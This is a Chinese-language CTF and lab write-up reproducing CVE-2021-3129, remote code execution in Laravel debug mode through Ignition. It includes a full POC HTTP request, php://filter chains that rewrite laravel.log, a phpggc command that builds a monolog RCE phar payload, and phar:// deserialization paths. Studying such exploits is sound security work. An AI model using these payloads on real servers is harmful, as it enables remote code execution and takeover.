CVE–2021–3129
做nepctf的时候遇到了Laravel-Debug模式的题目,这里复现一下这个CVE
环境搭建
复现漏洞的环境搭建当然选择docker最方便了
git clone https://github.com.cnpmjs.org/SNCKER/CVE-2021-3129.git
cd CVE-2021-3129
docker-compose up -d
在浏览器中访问一下
http://172.23.26.66:8888/
果然出现了Your app key is missing的提示
按照漏洞复现的方法,点击Generate app Key生成初始的key,当然你可以抓包看一下POST的样子,后面会用到类似的,再次刷新页面。
环境搭建完毕!
POC
POST /_ignition/execute-solution HTTP/1.1
Host: 172.23.26.66:8888
Content-Length: 82
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/json
Origin: http://172.23.26.66:8888
Referer: http://172.23.26.66:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log","variableName":"username"}}
实际上多看几遍文章,自己多操作几遍就知道了哪些地方有坑了,多踩踩。。。。
漏洞的利用点就是两个可控的file_get_contents
与file_put_contents
但是没回显的话,只能包含一下phar文件了,我们利用log文件
首先用骚操作清空log文件
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
然后加上一个log记录
AA
然后写入phar序列化后payload
这里用kali身成一下payload
php -d 'phar.readonly=0' phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
用到的工具
注意这里的pop链可以改,嫌麻烦可以直接用exp打
再次注意,请在payload最后加上一个字符
然后清楚干扰字符好进行反序列化
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
最后phar反序列化
phar://../storage/logs/laravel.log/test.txt
如果用相对路径报错的话,改成绝对路径,这里报错会把绝对路径给你显示出来的
phar:///src/storage/logs/laravel.log/test.txt
phar:///var/www/laravel/storage/logs/laravel.log/test.txt
坑点
- 仔细看一下文章,因为每一次发送payload,log文件里面都会出现2次payload,所以请在payload后面加上一个字符,这样在进行骚气编码的时候就会编出来一个phar的payload
- 所有编码操作返回的都是200空白页,如果出现debug页面,就要重新开始,发送payload的操作都会返回debug页面
- 最后phar反序列化的时候按理来说,相对路径是没问题的,但是就是有时候会不成功,用绝对路径即可
- pop链在别人挖的那里多达11个之多,但是在我这里,一个都挖不出来,导致了题目做不出来Orz
- 实际上pop链确实不好挖,后面跟出题人交流了一下,phpgcc上面人家挖好的每一条链都能打通,这里是出题人给下的另外的坑点而已,他改了一下log文件位置导致打不通,需要用骚操作找到log文件的名字,因为是0解,所以具体的他没透露
- 最后一点就是,光有个file_get_contents和file_put_contents并且没有回显,好像只能包含一下phar文件比较好利用,如果有文件上传的话更好说。